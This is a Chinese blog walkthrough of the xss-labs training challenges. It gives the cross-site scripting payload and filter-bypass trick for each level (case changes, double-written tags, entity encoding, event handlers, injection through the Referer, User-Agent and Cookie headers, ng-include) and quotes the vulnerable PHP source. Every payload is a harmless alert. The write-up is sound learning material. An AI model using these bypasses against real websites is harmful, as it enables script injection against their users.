xss-labs

一、环境

phpstudy

二、内容

1.level1

url中添加

1
<script>alert("11")</script>即可

2.level2(html实体化<>)

输入level1中的值,发现<>被实体化了。

构造input闭合

"><script>alert("xss")</script>

3.level3(html实体化”<>)

经过试验单引号不会被转义

构造onmouseover事件,即鼠标触碰到input标签即还行该事件

' onmouseover=javascript:alert(1) '

4.level4(html实体化’<>)

很好,单引号、尖括号没了

" onmouseover=javascript:alert(1) "

5.level5(伪协议)

script、onmouserover等中间会加个_符号

知识点:伪协议:在url中调用js方法,如Data伪协议与Javascript协议

"><a href=javascript:alert("123")>"

点击链接跳转即可

参考:XSS_伪协议与编码绕过_伪协议绕过_南部余额的博客-CSDN博客

xss-labs搭建及通关攻略_Lydia_Ha的博客-CSDN博客

6.level6(小写过滤)

在script的基础上,href、src、oneerror什么的中间也加符号了

但没有大写过滤

"><SCRIPT>alert(1)</SCRIPT>

7.level7(标签名过滤)

src啊,<>script啊都被删了、on啊

双写绕过

"><SCRscriptIPT>alert(1)</SCRscriptIPT>

8.level8(unicode编码)

它把输入框的值放在了a标签的href里

scr字符后面会放_符号,且大写会被转化为小写

引号也实体化了

将代码进行unicode编码即可

javascript:alert(1)

1
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

在线Unicode编码解码 - 码工具 (matools.com)

level9(继续过滤)

还是把输入框的值放在了a标签的href里,但是unicode编码不能用咯

知识点:strpos()查找字符串在另一字符串中第一次出现的位置。

源码有strpos函数过滤,限制输入内容必须有http://

javas&#99;ript:alert('http://123')

部分源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}

level10(隐藏参数)

1
2
3
4
5
6
7
8
9
10
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">

url被符号实体化了。

从t_sort输入框下手,仅仅替换了尖括号。

给input加一个onclick事件

onclick=alert(1)

记得去掉type的hide属性

level11(Referer)

同level10

但是应该不对,怎么会有同一种解法

1
2
3
4
5
6
7
8
9
10
11
12
13
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>

第四行明显是说Reffer

bp时

Referer:" onclick="alert(1)" type="text

image-20230520113437383

level12(代理)

f12,看得t_ua

1
<input name="t_ua" value="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" type="hidden">

bp时,很明显是

User-Agent:" onclick="alert(1)" type="text

f12,看到

1
<input name="t_cook" value="" type="hidden">

这应该提示了cookie

bp试试

Cookie: user=" onclick="alert(1)" type="text

level14(exif)

待解决

level15(ngInclude)

url:

http://localhost:81/xss-labs/level15.php?src=1.gif

f12出现这个:

1
2
3
4
5
6
7
8
9
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';

知识点:ng-include

ng-include是angular js的东西,类似php函数中的include函数,即包含文件。

1、ng-include 指令用于包含外部的 HTML文件。

2、包含的内容将作为指定元素的子节点。

3、ng-include 属性的值可以是一个表达式,返回一个文件名。

4、默认情况下,包含的文件需要包含在同一个域名下。

值得注意的是:

ng-include,如果单纯指定地址,必须要加引号

ng-include,加载外部html,script标签中的内容不执行

ng-include,加载外部html中含有style标签样式可以识别
参考:xss-labs通关挑战(xss challenge)_RuoLi_s的博客-CSDN博客

把其他存在xss漏洞的文件包含进来。

src='level1.php?name=<a href=javascript:alert(1)>'

image-20230520135939252

level16(空格绕过)

源代码为:

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";

主要是script替换了,空格实体化了,”/“也没了

试试img,并且替换个空格

%0a试试。

keyword=

image-20230520142552842

level17-18(参数拼接)

url两个参数,中间有=

arg01=%20onmouseover&arg02=alert(1)

onmouseover前加个空格

image-20230520154125903

level18同理。

level19-20(Flash反编译)

待解决

补充

input标签的onmouseover

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信